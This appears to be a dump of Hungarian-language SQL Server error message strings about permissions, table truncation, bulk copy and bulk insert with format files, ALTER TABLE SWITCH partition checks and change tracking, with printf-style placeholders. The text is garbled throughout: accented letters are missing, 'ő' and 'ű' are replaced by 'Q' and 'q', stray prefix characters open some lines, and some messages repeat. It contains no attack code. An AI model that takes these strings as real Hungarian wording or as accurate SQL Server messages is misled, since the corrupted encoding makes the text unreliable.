Az ALL engedly mr elavult, s csak kompatibilitsi clbl rhetQ el. NEM jelli az entitsra definilt SSZES engedlyt.

A kiszolgli hatkrq katalgusnzetekre vagy a rendszer trolt eljrsaira vagy bQvtett trolt eljrsaira vonatkoz engedlyek csak akkor adhatk meg, ha a jelenlegi adatbzis a fQadatbzis.

A kvetkezQ objektum nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

4A(z)  %1!s!  objektum csonkolsa sikertelen volt, mert az objektum vagy annak egyik indexe a READONLY jellsq  %2!s!  fjlcsoportban helyezkedik el.

A(z)  %1!s!  objektum csonkolsa sikertelen volt, mert az objektum nem tbla.

Nincs engedlye a kvetkezQ rendszertbla csonkolsra:  %1!s! .

8A(z)  %1!s!  objektum csonkolsa sikertelen volt, mert az objektum vagy annak egyik indexe a kvetkezQ offline fjlcsoportban helyezkedik el:  %2!s! .

A kvetkezQ tbla nem csonkolhat, mert kzz van tve replikcihoz, vagy engedlyezve van r az adatmdostsok rgztse:  %1!s! .

A kvetkezQ tbla nem csonkolhat, mert egy FOREIGN KEY korltozs hivatkozik r:  %1!s! .

A tmeges beszrs ezen hozzfrsi protokoll hasznlatval nem tmogatott.

A SINGLE_LOB, a SINGLE_CLOB s a SINGLE_NCLOB kapcsol klcsnsen kizrja egymst az sszes tbbi kapcsolval.

xA tmeges msolsi (bcp) gyfl %1!s! rtkq sorhosszt kldtt. Ez nem rvnyes mret. A maximlis sormret %2!s!. Hasznljon egy tmogatott alkalmazsprogramozsi felletet (API-t).

A rendszer idQ elQtti zenet vge jelet szlelt az aktulis sor gazdagprQl val beolvassakor. A bejvQ adatfolyam megszakadt, pedig a kiszolgl tovbbi adatokat vrt. Esetleg megszakadt a gazdaprogram futsa. GyQzQdjn meg arrl, hogy a hasznlt gyflalkalmazs alkalmazsprogramozsi fellete (API) tmogatott.

A hasznlt elQtrbeli eszkz nem tmogatja a gazdagprQl val tmeges betltst. Hasznlja a tmogatott eszkzket ehhez a parancshoz.

A SINGLE_CLOB kapcsolhoz ktbjtos karakterkszletet (DBCS) (char) hasznl bemeneti fjl szksges. A megadott fjl Unicode kdols.

xA tmeges msolsi (bcp) gyfl %1!s! rtkq sorhosszt kldtt. Ez nem rvnyes mret. A minimlis sormret %2!s!. Hasznljon egy tmogatott alkalmazsprogramozsi felletet (API-t).

A tmeges msolsi mqveletek nem vlthatnak ki tmeges betltsi utastsokat.

A SINGLE_NCLOB kapcsolhoz UNICODE (widechar) kdolst hasznl bemeneti fjl szksges. A megadott fjl nem Unicode kdols.

A rendszer a TEXT lexiklis elemet vrta a szveges vagy kpi adatok tmeges msolsra szolgl adatfolyamban.

A rendszer az oszlopeltolst vrta a szveges vagy kpi adatok tmeges msolsra szolgl adatfolyamban.

A rendszer a soreltolst vrta a szveges vagy kpi adatok tmeges msolsra szolgl adatfolyamban.

A rendszer a szveghosszt vrta a szveges, ntext vagy kpi adatok tmeges msolsra szolgl adatfolyamban.

Egy particionlt tblba val tmeges msols alacsony szintq gyfelek esetn nem tmogatott.

A rendszer rvnytelen oszlophosszt kapott a BCP-gyfltQl a kvetkezQ oszlopazonosthoz: %1!s!.

A rendszer rvnytelen oszloptpust kapott a BCP-gyfltQl a kvetkezQ oszlopazonosthoz: %1!s!.

A tmeges betlts sikertelen volt. A rendezett  %1!s!  oszlop rvnytelen. A rendszer figyelmen kvl hagyja az ORDER mutatt.

,A tmeges betlts sikertelen volt. A rendezett  %1!s!  oszlop egynl tbbszr lett megadva. A rendszer figyelmen kvl hagyja az ORDER mutatt.

A tmeges betlts nem vgezhetQ el. A tmeges adatfolyam helytelenl rendezettknt volt megadva, vagy az adatok megsrtenek egy, a cltbla ltal megkvetelt egyedisgi megszortst. A rendezsi sorrend helytelen a kvetkezQ kt sornl: az elsQ sor elsQdleges kulcsa: %1!s!, a msodik sor elsQdleges kulcsa: %2!s!.

A tmeges betlts nem vgezhetQ el. A kvetkezQ formtumfjl verzija ismeretlen:  %1!s! .

A tmeges betlts nem vgezhetQ el. Hiba trtnt az oszlopok szmnak a kvetkezQ formtumfjlbl val beolvassakor:  %1!s! .

A tmeges betlts nem vgezhetQ el. rvnytelen szm oszlop szerepel a kvetkezQ formtumfjlban:  %1!s! .

A tmeges betlts nem vgezhetQ el. rvnytelen oszlopszm szerepel a kvetkezQ formtumfjlban:  %1!s! .

A tmeges betlts nem vgezhetQ el. rvnytelen a(z) %1!s!. szm oszlop adattpusa a kvetkezQ formtumfjlban:  %2!s! .

A tmeges betlts nem vgezhetQ el. rvnytelen a(z) %1!s!. szm oszlop elQtagja a kvetkezQ formtumfjlban:  %2!s! .

A tmeges betlts nem vgezhetQ el. rvnytelen a(z) %1!s!. szm oszlop hossza a kvetkezQ formtumfjlban:  %2!s! .

A tmeges betlts nem vgezhetQ el. rvnytelen a(z) %1!s!. szm oszlop lezrjele a kvetkezQ formtumfjlban:  %2!s! .

0A tmeges betlts nem vgezhetQ el. rvnytelen cltblabeli oszlopszm tartozik a(z) %1!s! forrsoszlophoz a kvetkezQ formtumfjlban:  %2!s! .

TA tmeges betlts nem vgezhetQ el. Hiba trtnt a(z) %1!s! forrsoszlophoz tartoz cltblabeli oszlop nevnek beolvassakor a kvetkezQ formtumfjlbl:  %2!s! .

Tmeges betlts: A rendszer vratlanul elrte a fjl vgt az adatfjlban.

(Tmeges betlts: A rendszer verzieltrst szlelt a szolgltat dinamikus csatols kdtra s a kiszolgln levQ vgrehajthat fjl kztt.

Nincs engedlye a tmeges betltsi utasts hasznlatra.

Egy szmtott oszlopokat tartalmaz tblba val tmeges msols alacsony szintq gyfelek esetn nem tmogatott.

Nem lehet tmegesen msolni egy  %1!s!  tblba, amelyre engedlyezve vannak az azonnali frisstsq elQfizetsek.

A tmeges adatforrs nem tmogatja az SQLNUMERIC s az SQLDECIMAL adattpust.

A tmeges betlts nem vgezhetQ el. rvnytelen a(z) %1!s! forrsoszlophoz tartoz rendezs neve a kvetkezQ formtumfjlban:  %2!s! .

A tmeges adatforrs szolgltatjnak karakterlncban rvnytelen %1!s! tulajdonsgrtk szerepel: %2!s!.

lAz adatforrs neve nem egy egyszerq objektumnv.

A szksges FormatFile tulajdonsg hinyzik a kiszolgl szolgltati karakterlncbl.

 A tmeges adatforrs szolgltatjnak karakterlncban szintaktikai hiba ( %1!s! ) tallhat a kvetkezQ karakterpozci kzelben: %2!s!.

A tmeges adatforrs szolgltatjnak karakterlncban nem tmogatott tulajdonsgnv (%1!s!) szerepel.

PA tmeges adatforrs szolgltatjnak karakterlncban szintaktikai hiba tallhat a kvetkezQ karakterpozci kzelben: %1!s!. Vrt:  %2!s! , tnyleges:  %3!s! .

A tmeges adatok szolgltatja nem tudott memrit foglalni.

 Egy bigint tpus oszlopokat tartalmaz tblba val tmeges msols az SQL Server 2000 rendszernl korbbi verzik esetn nem tmogatott.

(Egy sql_variant tpus oszlopokat tartalmaz tblba val tmeges msols az SQL Server 2000 rendszernl korbbi verzik esetn nem tmogatott.

A(z)  %2!s!  formtumfjl %1!s!. sora: Vratlan  %3!s!  elem tallhat.

A(z)  %2!s!  formtumfjl %1!s!. sora: Vratlan informcis elem tallhat.

A(z)  %2!s!  formtumfjl %1!s!. sora: A kvetkezQ attribtum nem adhat meg ehhez a tpushoz:  %3!s! .

A(z)  %2!s!  formtumfjl %1!s!. sora: Hibs %3!s! rtk van megadva a kvetkezQ attribtumhoz:  %4!s! .

A(z)  %2!s!  formtumfjl %1!s!. sora: Hinyzik a ktelezQ  %3!s!  attribtum.

A tmeges betlts nem vgezhetQ el. A kvetkezQ fjl nem ltezik:  %1!s! .

$A tmeges betlts nem vgezhetQ el, mert a kvetkezQ fjl nem nyithat meg:  %1!s! . Az opercis rendszer ltal visszaadott hibakd: %2!s!.

8A tmeges betlts nem vgezhetQ el, mert a kvetkezQ fjl hinyos vagy nem olvashat:  %1!s! . Az opercis rendszer ltal visszaadott hibakd: %2!s!.

Tmeges betltsi adattalaktsi hiba (csonkols) trtnt, sor: %1!s!, oszlop: %2!s! (%3!s!).

,Tmeges betltsi adattalaktsi hiba (tpuseltrs vagy rvnytelen karakter a megadott kdlaphoz) trtnt, sor: %1!s!, oszlop: %2!s! (%3!s!).

A tmeges betlts nem vgezhetQ el, mert tllpte a hibk maximlisan engedlyezett szmt (%1!s!).

A tmeges betlts sikertelen volt. Az oszlop tl hossz az adatfjlban a kvetkezQ helyen: sor: %1!s!, oszlop: %2!s!. GyQzQdjn meg arrl, hogy helyesen van megadva a mezQ lezrjele s a sor lezrjele.

Tmeges betltsi adattalaktsi hiba (tlcsorduls) trtnt, sor: %1!s!, oszlop: %2!s! (%3!s!).

A tmeges betlts sikertelen volt. A kvetkezQ kdlap nincs teleptve:  %1!s! . Teleptse a kdlapot, s futtassa jra a parancsot.

HA tmeges betlts sikertelen volt. Vratlan NULL rtk szerepel az adatfjlban, sor: %1!s!, oszlop: %2!s!. A closzlop (%3!s!) a defincija szerint NOT NULL.

0A tmeges betlts nem vgezhetQ el, mert hiba trtnt a kvetkezQ fjl rsakor:  %1!s! . Az opercis rendszer ltal visszaadott hibakd: %2!s!.

Tmeges betltsi hiba trtnt a hibk naplzsra irnyul ksrlet sorn.

A(z)  %2!s!  formtumfjl %1!s!. sora: IsmtlQdQ  %3!s!  elemazonost tallhat.

A(z)  %2!s!  formtumfjl %1!s!. sora: Hivatkozs tallhat a nem ltezQ  %3!s!  elemazonostra.

A(z)  %2!s!  formtumfjl %1!s!. sora: IsmtlQdQ  %3!s!  elemazonost-hivatkozs tallhat.

A rendszer rvnytelen oszlopattribtumot kapott a BCP-gyfltQl a kvetkezQ oszlopazonosthoz: %1!s!.

XAz SQL Server cl tmeges beszrsi mqvelete idQtllps miatt megszakadt. Fontolja meg a Timeout tulajdonsg rtknek nvelst az SQL Server clon az adatfolyamban.

Hiba trtnt a DTS-adatfolyam elemzsekor a kvetkezQ helyrQl val olvasskor: sor: %1!s!, oszlop: %2!s!.

$A tmeges betlts nem vgezhetQ el. A FIRSTROW s a LASTROW paramter hasznlatakor a FIRSTROW rtke nem lehet nagyobb a LASTROW rtknl.

<A tmeges betlts nem vgezhetQ el. Egy elQtaghossz, mezQhossz vagy lezrjel szksges a(z) %1!s! forrsoszlophoz a kvetkezQ formtumfjlban:  %2!s! .

@Az XML-olvas 0x%1!s! rtket adott vissza a(z)  %4!s!  formtumfjlban a kvetkezQ hely kzelben kezdQdQ informcis elemhez: sor: %2!s!, oszlop: %3!s!.

Ismeretlen hiba trtnt a(z)  %3!s!  formtumfjlban a kvetkezQ hely kzelben kezdQdQ informcis elemnl: sor: %1!s!, oszlop: %2!s!.

A kvetkezQ fjl nem nyithat meg:  %1!s! . Egy Windows NT rendszerbeli integrlt biztonsg bejelentkezsi azonost szksges.

A kvetkezQ fjl nem nyithat meg:  %1!s! . Az opercis rendszer ltal visszaadott hiba: %2!s!

A kvetkezQ fjl nem nyithat meg:  %1!s! . A rendszer csak a lemezes fjlokat tmogatja.

A kvetkezQ fjl nem nyithat meg:  %1!s! . A bulkadmin szerepkrbeli tagsg szksges.

A kvetkezQ fjl nem nyithat meg:  %1!s! . Hinyzik egy Unicode bjtsorrendjelzQ.

A tmeges beszrs tervmegjelentsi mdban nem tmogatott.

A tmeges beszrs sikertelen volt, mert mdosult a cltbla smja.

A tmeges beszrs sikertelen volt, mert mdosult a cltbla smja.

0A tmeges betlts sikertelen volt, mert nem sikerlt megnyitni a kvetkezQ SSIS-fjllekpezsi objektumot:  %1!s! . Az opercis rendszer ltal visszaadott hibakd: %2!s!. GyQzQdjn meg arrl, hogy a Windows biztonsgi szolgltatsain keresztl r el egy helyi kiszolglt.

A BCP hasznlatakor jelen kell lennie a COLMETADATA lexiklis elemnek.

A Unicode kdols adatok bjtmrete pratlan a kvetkezQ oszlopnl: %1!s!. A bjtmretnek prosnak kellene lennie.

A rendszer rvnytelen oszloprtket kapott a BCP-gyfltQl a kvetkezQ oszlopazonosthoz: %1!s!.

A rendszer rvnytelen hosszt kapott a feldarabolt LOB-adatokhoz a kvetkezQ oszlopazonosthoz: %1!s!.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt a kvetkezQ tblra:  %1!s! . Nem vlthat t egy olyan tbla partcija, amelyre engedlyezve van a vltozskvets. Az ALTER TABLE SWITCH utasts hasznlata elQtt tiltsa le a vltozskvetst.

hAz ALTER TABLE utasts csak olyan oszlopok hozzadst teszi lehetQv, amelyek null rtkeket is tartalmazhatnak, amelyekhez meg van adva egy DEFAULT definci, illetve amelyek identits- vagy idQblyegzQ-oszlopok. Ha az elQzQ felttelek egyike sem teljesl, akkor a tblnak resnek kell lennie ezen oszlop hozzadshoz. A(z)  %1!s!  oszlop nem adhat hozz a nem res  %2!s!  tblhoz, mert nem felel meg a fenti feltteleknek.

A kvetkezQ objektum nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  cltbla megadott %1!s! partcijnak resnek kell lennie.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A kvetkezQ cltblnak resnek kell lennie:  %1!s! .

$A kvetkezQ utasts vgrehajtsa sikertelen volt:  %1!s! . A(z)  %3!s!  %2!s! %4!s! particionlt, mg a(z)  %5!s!  index %6!s! particionlt.

@A kvetkezQ utasts vgrehajtsa sikertelen volt:  %1!s! . A(z)  %3!s!  %2!s! %4!s! partcit tartalmaz, mg a(z)  %5!s!  index %6!s! partcit tartalmaz.

A kvetkezQ utasts vgrehajtsa sikertelen volt:  %1!s! . A(z)  %3!s!  %2!s! particionlshoz hasznlt tartomnyhatr-rtkek eltrnek a kvetkezQ indexhez hasznlt tartomnyhatr-rtkektQl:  %4!s! .

tA kvetkezQ nem mdosthat, mert nem tbla:  %1!s! .

Particionlt tbla nem adhat meg partciszm nlkl az ALTER TABLE SWITCH utastsban. A kvetkezQ tbla particionlva van:  %1!s! .

A kvetkezQ utasts vgrehajtsa sikertelen volt:  %1!s! . A(z)  %3!s!  %2!s! particionlshoz hasznlt oszlopkszlet eltr a kvetkezQ index particionlshoz hasznlt oszlopkszlettQl:  %4!s! .

pAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tblhoz tartozik a(z)  %2!s!  frtztt index, mg a kvetkezQ tblnak nincs frtztt indexe:  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A kvetkezQ tbla frtztt indexe le van tiltva:  %1!s! .

A kvetkezQ utasts vgrehajtsa sikertelen volt:  %1!s! . A(z)  %3!s!  %2!s! particionlshoz hasznlt partcis fggvny paramtertpusa eltr a kvetkezQ index particionlshoz hasznlt partcis fggvny paramtertpustl:  %4!s! .

A korltozs engedlyezse vagy letiltsa sikertelen volt. Tekintse t a korbbi hibkat.

dA kvetkezQ korltozs nem ltezik:  %1!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a kvetkezQ tblhoz teljes szveges index tartozik:  %1!s! .

A PERSISTED attribtum nem mdosthat a kvetkezQ oszlopnl, mert ez nem egy szmtott oszlop:  %1!s! .

Az ALTER TABLE utasts vgrehajtsa sikertelen volt, mert a kvetkezQ tbla  %1!s!  esemnyindtja nem ltezik:  %2!s! .

Az ALTER TABLE utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  esemnyindt nem a kvetkezQ tblhoz tartozik:  %2!s! .

A(z) %1!s! %2!s! utasts vgrehajtsa sikertelen volt, mert egy vagy tbb objektum hozzfr ehhez az oszlophoz.

Az ALTER TABLE DROP COLUMN utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  az egyetlen adatoszlop a kvetkezQ tblban:  %2!s! . Egy tblnak legalbb egy adatoszloppal rendelkeznie kell.

A(z) %1!s! utasts vgrehajtsa sikertelen volt, mert a(z)  %2!s!  oszlop nem ltezik a kvetkezQ tblban:  %3!s! .

dAz ALTER TABLE ALTER COLUMN ADD ROWGUIDCOL utasts vgrehajtsa sikertelen volt, mert mr ltezik a ROWGUIDCOL tulajdonsggal elltott oszlop a kvetkezQ tblban:  %1!s! .

hAz ALTER TABLE ALTER COLUMN DROP ROWGUIDCOL utasts vgrehajtsa sikertelen volt, mert nem ltezik a ROWGUIDCOL tulajdonsggal elltott oszlop a kvetkezQ tblban:  %1!s! .

xA(z)  %1!s!  oszlop nem mdosthat %2!s! adattpusra.

pA(z)  %1!s!  oszlop nem mdosthat, mert  %2!s! .

A(z)  %2!s!  %1!s! nem mdosthat, mert folyamatban van a kzzttele replikcihoz.

A(z)  %2!s!  tblban levQ  %1!s!  szmtott oszlop nem QrizhetQ meg, mert az oszlop egy nem smhoz kttt objektumtl fgg.

 A(z)  %2!s!  tblban levQ  %1!s!  szmtott oszlop nem QrizhetQ meg, mert az oszlop felhasznli vagy rendszerszintq adatelrsre szolgl.

Az ALTER TABLE ADD COLUMN utasts nem adhat meg a ltezQtQl eltrQ FILESTREAM-fjlcsoportot.

A(z)  %2!s!  tblban levQ  %1!s!  szmtott oszlop nem QrizhetQ meg, mert az oszlop nem determinisztikus.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %3!s!  %2!s! %1!s! partcija a(z)  %4!s!  fjlcsoportban van, mg a(z)  %7!s!  %6!s! %5!s! partcija a kvetkezQ fjlcsoportban van:  %8!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  %1!s! a(z)  %3!s!  fjlcsoportban van, mg a(z)  %6!s!  %5!s! %4!s! partcija a kvetkezQ fjlcsoportban van:  %7!s! .

lAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  %1!s! a(z)  %3!s!  fjlcsoportban van, mg a(z)  %5!s!  %4!s! a kvetkezQ fjlcsoportban van:  %6!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a kvetkezQ tbla meg van jellve egyestses replikcira:  %1!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %3!s!  tblban a(z) %2!s! sorszmnl levQ  %1!s!  oszlop neve eltr a(z)  %5!s!  tblban azonos sorszmnl levQ  %4!s!  oszlop nevtQl.

HAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  tblnak %2!s! oszlopa van, mg a kvetkezQ tblnak %4!s! oszlopa van:  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop adattpusa %2!s! a(z)  %3!s!  forrstblban, s ez eltr a(z) %4!s! tpustl a(z)  %5!s!  cltblban.

,Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop rendezse eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

DAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop megQrzsi attribtuma eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

4Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. Nincs a(z)  %3!s!  cltbla  %2!s!  indexvel azonos index a(z)  %1!s!  forrstblban.

tAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  forrstbla a(z)  %2!s!  adatbzisban van, mg a(z)  %3!s!  cltbla a kvetkezQ adatbzisban van:  %4!s! .

 Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a kvetkezQ objektum nem egy felhasznl ltal definilt tbla:  %1!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert az %1!s! szm partci nem ltezik a kvetkezQ tblban:  %2!s! .

XAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop FILESTREAM trolsi attribtuma eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

PAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop ANSI levgsi szemantikja eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tbla particionlshoz hasznlt oszlopkszlet eltr a kvetkezQ tbla particionlshoz hasznlt oszlopkszlettQl:  %2!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tbla soron belli korltja %2!s! a soradatok kztt levQ szvegre vonatkozan, s ez az rtk eltr a kvetkezQ tbla ltal hasznlt %3!s! rtktQl:  %4!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  forrstbla s a(z)  %2!s!  cltbla megegyezik.

 A(z)  %1!s!  utasts vgrehajtsa sikertelen volt, mert a(z)  %3!s!  %2!s! partciszmt megad kifejezs nem egsz tpus eredmnyt ad.

HAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop ROWGUIDCOL tulajdonsga eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %3!s!  %2!s! %1!s! partcijhoz a(z)  %4!s!  TEXT-fjlcsoport tartozik, mg a(z)  %7!s!  %6!s! %5!s! partcijhoz a kvetkezQ TEXT-fjlcsoport tartozik:  %8!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. Az  %2!s!  forrstblban levQ  %1!s!  ellenQrzQ korltozs egy NOCHECK korltozs, mg a kvetkezQ cltblban levQ megfelelQ  %3!s!  ellenQrzQ korltozs egy CHECK korltozs:  %4!s! .

DAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  oszlop nullzhat a(z)  %2!s!  tblban, de nem nullzhat a kvetkezQben:  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z) %1!s! partci nem rvnyes a kvetkezQ tblhoz:  %2!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tblhoz  %2!s!  RULE korltozs tartozik. A SWITCH hasznlata nem engedlyezett olyan tblkra, amelyekhez RULE korltozs tartozik.

|Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  oszlop egy szmtott oszlop a(z)  %2!s!  tblban, de ugyanaz az oszlop nem szmtott a kvetkezQben:  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %3!s!  tblban levQ  %1!s!  szmtott oszlop (defincija:  %2!s! ) eltr a(z)  %4!s!  tblban levQ azonos oszloptl, amelynek defincija:  %5!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A SWITCH hasznlata nem engedlyezett, mert a(z)  %1!s!  forrstbla tartalmazza az elsQdleges kulcsot a kvetkezQ korltozshoz:  %2!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  cltbla tartalmaz klsQ kulcsot a(z)  %2!s!  korltozshoz, de a(z)  %3!s!  forrstbla nem tartalmaz megfelelQ kulcsot.

@Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A klsQ kulcsra vonatkoz  %1!s!  korltozs le van tiltva a(z)  %2!s!  forrstblban, de a megfelelQ  %3!s!  korltozs engedlyezve van a kvetkezQ cltblban:  %4!s! . Engedlyezni kell a korltozst a forrstblban.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  cltbla tblaszintq  %2!s!  ellenQrzQ korltozst tartalmaz, de a(z)  %3!s!  forrstbla nem tartalmaz annak megfelelQ korltozst.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  cltbla oszlopszintq  %2!s!  ellenQrzQ korltozst tartalmaz, de a(z)  %3!s!  forrstbla nem tartalmaz annak megfelelQ korltozst.

4Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  forrstbla ellenQrzQ korltozsai vagy partcis fggvnyei olyan rtkeket is engedlyeznek, amelyeket a kvetkezQ cltbla ellenQrzQ korltozsai vagy partcis fggvnyei nem engedlyeznek:  %2!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  tbla %1!s! partcija ltal definilt tartomny nem rszhalmaza a kvetkezQ tbla %3!s! partcija ltal definilt tartomnynak:  %4!s! .

(Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A klsQ kulcsra vonatkoz  %1!s!  korltozs NOCHECK a(z)  %2!s!  forrstblban, de a megfelelQ  %3!s!  korltozs CHECK a kvetkezQ cltblban:  %4!s! . A forrstblban is CHECK korltozst kell hasznlni.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  forrstblban levQ  %1!s!  ellenQrzQ korltozs s a(z)  %4!s!  cltblban levQ  %3!s!  ellenQrzQ korltozs eltrQ  Not For Replication  belltssal rendelkezik.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  forrstbla  %2!s!  ellenQrzQ korltozst tartalmaz egy XML tpus oszlopra vonatkozan, de a kvetkezQ forrstbla nem tartalmaz azonos ellenQrzQ korltozst:  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  forrstbla  %2!s!  ellenQrzQ korltozst tartalmaz egy CLR-beli tpus oszlopra vonatkozan, de a kvetkezQ forrstbla nem tartalmaz azonos ellenQrzQ korltozst:  %3!s! .

<Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  tbla %1!s! partcija a csak olvashat  %3!s!  fjlcsoportban helyezkedik el.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tbla a csak olvashat  %2!s!  fjlcsoportban helyezkedik el.

\Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %2!s!  tbla %1!s! partcijnak lobdata rsze a csak olvashat  %3!s!  fjlcsoportban helyezkedik el.

4Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tbla lobdata rsze a csak olvashat  %2!s!  fjlcsoportban helyezkedik el.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  forrstbla ellenQrzQ korltozsai olyan rtkeket is engedlyeznek, amelyeket a kvetkezQ cltbla %2!s! partcija ltal definilt tartomny nem engedlyez:  %3!s! .

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  cltbla  %2!s!  XML vagy trbeli indexet tartalmaz. Csak a forrstbla tartalmazhat XML vagy trbeli indexet az ALTER TABLE SWITCH utastsban.

tAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  cltbla s a(z)  %2!s!  forrstbla eltrQ rtket tartalmaz a vardecimal trolsi formtumhoz. Az sp_tableoption trolt eljrs hasznlatval mdostsa a tblk  vardecimal storage format  belltst, hogy az rtkek megegyezzenek.

PAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop nullzhatsgi attribtuma eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

8Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop CLR-beli tpusa eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

@Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a(z)  %1!s!  oszlop XML-smagyqjtemnye eltrQ a kvetkezQ tblkban:  %2!s!  s  %3!s! .

,A(z)  %1!s!  szmtott oszlop nem QrizhetQ meg. Az alapul szolgl  %2!s!  objektum tulajdonosa eltr a kvetkezQ tbla tulajdonostl:  %3!s! .

Nem dobhat el a(z)  %2!s!  tblban levQ  %1!s!  oszlop ROWGUIDCOL tulajdonsga, mert az oszlop nem ROWGUIDCOL jellsq a tblhoz.

Nem mdosthat a(z)  %2!s!  tbla  %1!s!  oszlopa a FILESTREAM oszlopattribtum megadshoz vagy eltvoltshoz.

Nem mdosthat a(z)  %2!s!  tbla  %1!s!  oszlopnak NOT FOR REPLICATION attribtuma, mert ez az oszlop nem azonostoszlop.

A LARGE VALUE TYPES OUT OF ROW tblabellts nem hasznlhat olyan felhasznli tblhoz, amelyben egyetlen nagy rtktpus (varchar(max), nvarchar(max), varbinary(max), XML), illetve CLR-beli nagy tpus oszlop sem szerepel. Ez a bellts olyan tblkra alkalmazhat, amelyekben nagy rtkeket tartalmaz, megQrztt szmtott oszlopok szerepelnek.

xAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  tblban eltr a  Large Value Types Out Of Row  tblabellts rtke a kvetkezQ tblban levQtQl:  %2!s! .

0A(z)  %2!s!  tblban levQ  %1!s!  szmtott oszlop nem QrizhetQ meg, mert az oszlop  %3!s!  tpusa egy nem bjtsorrendbe rendezett CLR-beli tpus.

A vardecimal trolsi formtum nem engedlyezhetQ a(z)  %1!s!  tblra, mert a kvetkezQ adatbzis egy rendszeradatbzis:  %2!s! . A vardecimal trolsi formtum rendszeradatbzisokban nem rhetQ el.

A vltozskvets mr engedlyezve van a kvetkezQ tblra:  %1!s! .

A vltozskvets nem engedlyezhetQ a kvetkezQ tblra:  %1!s! . A vltozskvetshez elsQdleges kulcs szksges a tblban. A vltozskvets engedlyezse elQtt hozzon ltre elsQdleges kulcsot.

A vltozskvets nincs engedlyezve a kvetkezQ tblra:  %1!s! .

